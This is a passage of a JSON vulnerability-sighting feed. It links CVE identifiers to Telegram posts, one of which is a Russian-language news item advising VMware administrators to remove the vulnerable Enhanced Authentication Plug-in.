vCenter Server 7.0 Update 2.\n\n\u0414\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043a\u0430\u043a CVE-2024-22245 (\u0431\u0430\u0437\u043e\u0432\u044b\u0439 \u0440\u0435\u0439\u0442\u0438\u043d\u0433 CVSSv3 9,6 \u0438\u0437 10) \u0438 CVE-2024-22250 (7,8 \u0438\u0437 10) \u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438 \u0434\u043b\u044f \u0440\u0435\u0442\u0440\u0430\u043d\u0441\u043b\u044f\u0446\u0438\u0438 \u0431\u0438\u043b\u0435\u0442\u043e\u0432 \u0441\u043b\u0443\u0436\u0431\u044b Kerberos \u0438 \u0437\u0430\u0445\u0432\u0430\u0442\u0430 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0441\u0435\u0430\u043d\u0441\u043e\u0432 EAP.\n\n\u0412\u0435\u043a\u0442\u043e\u0440 \u0430\u0442\u0430\u043a\u0438 \u0434\u043b\u044f CVE-2024-22245 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d, \u043a\u043e\u0433\u0434\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043e\u0431\u043c\u0430\u043d\u043e\u043c \u0437\u0430\u0441\u0442\u0430\u0432\u0438\u0442 \u0446\u0435\u043b\u0435\u0432\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0434\u043e\u043c\u0435\u043d\u0430 \u0441 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u043c \u0432 \u0432\u0435\u0431-\u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0435 EAP \u0437\u0430\u043f\u0440\u043e\u0441\u0438\u0442\u044c \u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0442\u044c \u0431\u0438\u043b\u0435\u0442\u044b \u0441\u043b\u0443\u0436\u0431\u044b \u0434\u043b\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u0438\u043c\u0435\u043d \u0443\u0447\u0430\u0441\u0442\u043d\u0438\u043a\u043e\u0432 \u0441\u043b\u0443\u0436\u0431\u044b Active Directory (SPN).\n\n\u0427\u0442\u043e \u043a\u0430\u0441\u0430\u0435\u0442\u0441\u044f CVE-2024-22250, \u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0441 \u043d\u0435\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043a \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 Windows \u043c\u043e\u0436\u0435\u0442 \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0441\u0435\u0430\u043d\u0441 EAP, \u0435\u0441\u043b\u0438 \u043e\u043d \u0438\u043d\u0438\u0446\u0438\u0438\u0440\u043e\u0432\u0430\u043d \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c \u0434\u043e\u043c\u0435\u043d\u0430 \u0432 \u0442\u043e\u0439 \u0436\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.\n\n\u041f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a \u0437\u0430\u0432\u0435\u0440\u044f\u0435\u0442, \u0447\u0442\u043e \u0432 \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0435 \u0432\u0440\u0435\u043c\u044f \u043d\u0435\u0442 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432 \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0431\u044b\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445.\n\n\u041d\u043e \u0442\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435, \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f CVE-2024-22245 \u0438 CVE-2024-22250 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0443\u0434\u0430\u043b\u0438\u0442\u044c \u043f\u043b\u0430\u0433\u0438\u043d \u0432 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0435 (\u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0435\u043c\u044b\u0439 \u043c\u043e\u0434\u0443\u043b\u044c VMware Enhanced Authentication Plug-in 6.7.0), \u0430 \u0442\u0430\u043a\u0436\u0435 \u0438 \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0441\u043b\u0443\u0436\u0431\u0443 Windows (\u0441\u043b\u0443\u0436\u0431\u0430 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0435\u043c\u044b\u0445 \u043c\u043e\u0434\u0443\u043b\u0435\u0439 VMware).\n\n\u0412 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u044b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u043c\u0443 \u043c\u043e\u0434\u0443\u043b\u044e VMware \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u0440\u0443\u0433\u0438\u0435 \u043c\u0435\u0442\u043e\u0434\u044b \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 VMware vSphere 8, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435: Active Directory \u0447\u0435\u0440\u0435\u0437 LDAPS, \u0441\u043b\u0443\u0436\u0431\u044b \u0444\u0435\u0434\u0435\u0440\u0430\u0446\u0438\u0438 Microsoft Active Directory (ADFS), Microsoft Entra ID (\u0440\u0430\u043d\u0435\u0435 Azure AD) \u0438 Okta.\n\n\u041d\u043e \u043d\u0430\u0441\u0447\u0435\u0442 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0439, \u043d\u0435 \u0443\u0432\u0435\u0440\u0435\u043d\u044b.", "creation_timestamp": "2024-02-21T14:30:06.000000Z"}, {"uuid": "482f92d3-1e65-4ad8-9f6d-57c8b45f2aff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22245", "type": "seen", "source": "https://t.me/true_secator/5442", "content": "VMware \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u0432 \u043e \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u044f \u0443\u0441\u0442\u0430\u0440\u0435\u0432\u0448\u0435\u0433\u043e \u043f\u043b\u0430\u0433\u0438\u043d\u0430 VMware Enhanced Authentication Plug-in (EAP), \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d \u0434\u0432\u0443\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043e\u0441\u0442\u0430\u043b\u0438\u0441\u044c \u0431\u0435\u0437 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u044b\u0439 \u043f\u043b\u0430\u0433\u0438\u043d \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u0435\u0442 \u0431\u0435\u0441\u043f\u0440\u0435\u043f\u044f\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0432\u0445\u043e\u0434 \u0432 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u044b \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f vSphere \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043f\u043e\u0434\u043b\u0438\u043d\u043d\u043e\u0441\u0442\u0438 Windows \u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0441\u043c\u0430\u0440\u0442-\u043a\u0430\u0440\u0442 \u0432 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0438\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 Windows.\n\n\u0412\u0441\u0435 \u0434\u0435\u043b\u043e \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e VMware \u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e \u043f\u0440\u0435\u043a\u0440\u0430\u0449\u0435\u043d\u0438\u0438 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438 EAP \u0435\u0449\u0435 \u0432 \u043c\u0430\u0440\u0442\u0435 2021 \u0433\u043e\u0434\u0430, \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u0432 vCenter Server 7.0 Update 2.\n\n\u0414\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043a\u0430\u043a CVE-2024-22245 (\u0431\u0430\u0437\u043e\u0432\u044b\u0439 \u0440\u0435\u0439\u0442\u0438\u043d\u0433 CVSSv3 9,6 \u0438\u0437 10) \u0438 CVE-2024-22250 (7,8 \u0438\u0437 10) \u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438 \u0434\u043b\u044f \u0440\u0435\u0442\u0440\u0430\u043d\u0441\u043b\u044f\u0446\u0438\u0438 \u0431\u0438\u043b\u0435\u0442\u043e\u0432 \u0441\u043b\u0443\u0436\u0431\u044b Kerberos \u0438 \u0437\u0430\u0445\u0432\u0430\u0442\u0430 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0441\u0435\u0430\u043d\u0441\u043e\u0432 EAP.\n\n\u0412\u0435\u043a\u0442\u043e\u0440 \u0430\u0442\u0430\u043a\u0438 \u0434\u043b\u044f CVE-2024-22245 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d, \u043a\u043e\u0433\u0434\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043e\u0431\u043c\u0430\u043d\u043e\u043c \u0437\u0430\u0441\u0442\u0430\u0432\u0438\u0442 \u0446\u0435\u043b\u0435\u0432\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0434\u043e\u043c\u0435\u043d\u0430 \u0441 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u043c \u0432 \u0432\u0435\u0431-\u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0435 EAP \u0437\u0430\u043f\u0440\u043e\u0441\u0438\u0442\u044c \u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0442\u044c \u0431\u0438\u043b\u0435\u0442\u044b \u0441\u043b\u0443\u0436\u0431\u044b \u0434\u043b\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u0438\u043c\u0435\u043d \u0443\u0447\u0430\u0441\u0442\u043d\u0438\u043a\u043e\u0432 \u0441\u043b\u0443\u0436\u0431\u044b Active Directory (SPN).\n\n\u0427\u0442\u043e \u043a\u0430\u0441\u0430\u0435\u0442\u0441\u044f CVE-2024-22250, \u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0441 \u043d\u0435\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043a \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 Windows \u043c\u043e\u0436\u0435\u0442 \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0441\u0435\u0430\u043d\u0441 EAP, \u0435\u0441\u043b\u0438 \u043e\u043d \u0438\u043d\u0438\u0446\u0438\u0438\u0440\u043e\u0432\u0430\u043d \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c \u0434\u043e\u043c\u0435\u043d\u0430 \u0432 \u0442\u043e\u0439 \u0436\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.\n\n\u041f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a \u0437\u0430\u0432\u0435\u0440\u044f\u0435\u0442, \u0447\u0442\u043e \u0432 \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0435 \u0432\u0440\u0435\u043c\u044f \u043d\u0435\u0442 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432 \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0431\u044b\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445.\n\n\u041d\u043e \u0442\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435, \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f CVE-2024-22245 \u0438 CVE-2024-22250 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0443\u0434\u0430\u043b\u0438\u0442\u044c \u043f\u043b\u0430\u0433\u0438\u043d \u0432 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0435 (\u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0435\u043c\u044b\u0439 \u043c\u043e\u0434\u0443\u043b\u044c VMware Enhanced Authentication Plug-in 6.7.0), \u0430 \u0442\u0430\u043a\u0436\u0435 \u0438 \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0441\u043b\u0443\u0436\u0431\u0443 Windows (\u0441\u043b\u0443\u0436\u0431\u0430 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0435\u043c\u044b\u0445 \u043c\u043e\u0434\u0443\u043b\u0435\u0439 VMware).\n\n\u0412 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u044b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u043c\u0443 \u043c\u043e\u0434\u0443\u043b\u044e VMware \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u0440\u0443\u0433\u0438\u0435 \u043c\u0435\u0442\u043e\u0434\u044b \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 VMware vSphere 8, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435: Active Directory \u0447\u0435\u0440\u0435\u0437 LDAPS, \u0441\u043b\u0443\u0436\u0431\u044b \u0444\u0435\u0434\u0435\u0440\u0430\u0446\u0438\u0438 Microsoft Active Directory (ADFS), Microsoft Entra ID (\u0440\u0430\u043d\u0435\u0435 Azure AD) \u0438 Okta.\n\n\u041d\u043e \u043d\u0430\u0441\u0447\u0435\u0442 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0439, \u043d\u0435 \u0443\u0432\u0435\u0440\u0435\u043d\u044b.", "creation_timestamp": "2024-02-21T14:30:06.000000Z"}, {"uuid": "d7bc6e2e-1919-4899-b533-3f5bedf0cad4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22274", "type": "published-proof-of-concept", "source": "https://t.me/RalfHackerChannel/1507", "content": "", "creation_timestamp": "2024-07-07T00:00:50.000000Z"}, {"uuid": "27a21d56-a86e-4116-b287-5e716f5a13c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22346", "type": "seen", "source": "https://t.me/ctinow/208114", "content": "https://ift.tt/5HoJnWA\nCVE-2024-22346", "creation_timestamp": "2024-03-14T20:31:58.000000Z"}, {"uuid": "4126e405-b78f-4c9c-a13b-a14e09e53eaf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2294", "type": "seen", "source": "https://t.me/ctinow/209311", "content": "https://ift.tt/ZPNKOT3\nCVE-2024-2294", "creation_timestamp": "2024-03-16T03:26:25.000000Z"}, {"uuid": "91c7cb0f-97ac-4df2-a8bf-819add63ad38", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22346", "type": "seen", "source": "https://t.me/ctinow/208100", "content": "https://ift.tt/5HoJnWA\nCVE-2024-22346", "creation_timestamp": "2024-03-14T20:26:57.000000Z"}, {"uuid": "8c6a0551-b912-4ad5-b23f-1c1622e544f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2294", "type": "seen", "source": "https://t.me/ctinow/209303", "content": "https://ift.tt/ZPNKOT3\nCVE-2024-2294", "creation_timestamp": "2024-03-16T03:21:39.000000Z"}, {"uuid": "537d64ac-7ee9-4af1-8676-60ebf236361c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22259", "type": "seen", "source": "https://t.me/ctinow/209356", "content": "https://ift.tt/3brlkti\nCVE-2024-22259", "creation_timestamp": "2024-03-16T06:26:22.000000Z"}, {"uuid": "156020e0-0369-4bca-aa1a-9496659e76de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22259", "type": "seen", "source": "https://t.me/ctinow/209352", "content": "https://ift.tt/3brlkti\nCVE-2024-22259", "creation_timestamp": "2024-03-16T06:26:16.000000Z"}, {"uuid": "8c406700-4694-496c-997b-8446363f90fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22182", "type": "seen", "source": "https://t.me/ctinow/206431", "content": "https://ift.tt/gVDoZ0a\nCVE-2024-22182 | Commend WS203VICM up to 1.7 Messages argument injection (icsa-24-051-01)", "creation_timestamp": "2024-03-13T07:11:49.000000Z"}, {"uuid": "66c6f233-fd34-4fab-817c-b7b6c4696313", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22513", "type": "seen", "source": "https://t.me/ctinow/209409", "content": "https://ift.tt/qIKThfS\nCVE-2024-22513", "creation_timestamp": "2024-03-16T08:26:37.000000Z"}, {"uuid": "88390933-e4c6-49bc-abd4-d4124808fb9a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22513", "type": "seen", "source": "https://t.me/ctinow/209407", "content": "https://ift.tt/qIKThfS\nCVE-2024-22513", "creation_timestamp": "2024-03-16T08:21:54.000000Z"}, {"uuid": "4f452d00-969f-4b97-be8f-2ae7b42e2b3b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22025", "type": "seen", "source": "https://t.me/ctinow/211180", "content": "https://ift.tt/7dr9ga4\nCVE-2024-22025", "creation_timestamp": "2024-03-19T06:26:48.000000Z"}, {"uuid": "32e164ff-0fd3-4c48-a3b2-4c7012708128", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22017", "type": "seen", "source": "https://t.me/ctinow/211179", "content": "https://ift.tt/rSwEqKX\nCVE-2024-22017", "creation_timestamp": "2024-03-19T06:26:47.000000Z"}, {"uuid": "29f3fb6e-4e27-4b86-8b1b-d7d2f3b1fab6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22167", "type": "seen", "source": "https://t.me/ctinow/207222", "content": "https://ift.tt/KRkNCdI\nCVE-2024-22167", "creation_timestamp": "2024-03-13T22:26:39.000000Z"}, {"uuid": "53e45d8c-91a8-4d7e-876d-c90f76971c58", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22395", "type": "seen", "source": "https://t.me/ctinow/207020", "content": "https://ift.tt/19xY7Gj\nCVE-2024-22395 | SonicWALL SMA 100/SMA 200/SMA 210/SMA 400/SMA 410/SMA 500v up to 10.2.1.10-62sv MFA access control (SNWLID-2024-0001)", "creation_timestamp": "2024-03-13T18:41:57.000000Z"}, {"uuid": "be25d823-554c-4b22-8a47-72d960c2e8ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2242", "type": "seen", "source": "https://t.me/ctinow/207304", "content": "https://ift.tt/08BPVTn\nCVE-2024-2242", "creation_timestamp": "2024-03-13T23:31:21.000000Z"}, {"uuid": "d6dd2fb4-f10f-4ac2-a6d3-cf897f629611", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22397", "type": "seen", "source": "https://t.me/ctinow/207470", "content": "https://ift.tt/4Go7x6C\nCVE-2024-22397", "creation_timestamp": "2024-03-14T05:26:56.000000Z"}, {"uuid": "76fdd6ae-2d91-433e-8bf6-f318d79a20ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22396", "type": "seen", "source": "https://t.me/ctinow/207469", "content": "https://ift.tt/muVtIrC\nCVE-2024-22396", "creation_timestamp": "2024-03-14T05:26:55.000000Z"}, {"uuid": "d77220ff-2e68-4efd-9bae-84b99df70b3d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22398", "type": "seen", "source": "https://t.me/ctinow/207463", "content": "https://ift.tt/gIUXmVa\nCVE-2024-22398", "creation_timestamp": "2024-03-14T05:21:47.000000Z"}, {"uuid": "0ee46851-dc1a-40a3-881c-34a407fa461a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2242", "type": "seen", "source": "https://t.me/ctinow/207296", "content": "https://ift.tt/08BPVTn\nCVE-2024-2242", "creation_timestamp": "2024-03-13T23:26:35.000000Z"}, {"uuid": "67b51f13-570d-4b38-8fe4-c6e5813f44f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22259", "type": "seen", "source": "https://t.me/ctinow/209691", "content": "https://ift.tt/5AHJpBx\nCVE-2024-22259", "creation_timestamp": "2024-03-16T19:56:28.000000Z"}, {"uuid": "4fd57d2c-a374-4c24-a7eb-d6c31997280f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22776", "type": "seen", "source": "https://t.me/ctinow/207334", "content": "https://ift.tt/3RXMY08\nCVE-2024-22776 | Wallos 0.9 cross site scripting", "creation_timestamp": "2024-03-14T00:46:27.000000Z"}, {"uuid": "3adb26bc-f12f-4db6-aca7-9717f3d8be3a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2247", "type": "seen", "source": "https://t.me/ctinow/206798", "content": "https://ift.tt/HYEQT3Z\nCVE-2024-2247", "creation_timestamp": "2024-03-13T15:26:55.000000Z"}, {"uuid": "a656d26f-2dba-4a74-94ba-75c05d3d7fb8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2247", "type": "seen", "source": "https://t.me/ctinow/206791", "content": "https://ift.tt/HYEQT3Z\nCVE-2024-2247", "creation_timestamp": "2024-03-13T15:26:46.000000Z"}, {"uuid": "88d832b3-b4c9-4983-9007-030017b81054", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22167", "type": "seen", "source": "https://t.me/ctinow/207240", "content": "https://ift.tt/KRkNCdI\nCVE-2024-22167", "creation_timestamp": "2024-03-13T22:31:42.000000Z"}, {"uuid": "3a24073f-3c13-4a9e-ae6b-4d7dbe885213", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22398", "type": "seen", "source": "https://t.me/ctinow/207471", "content": 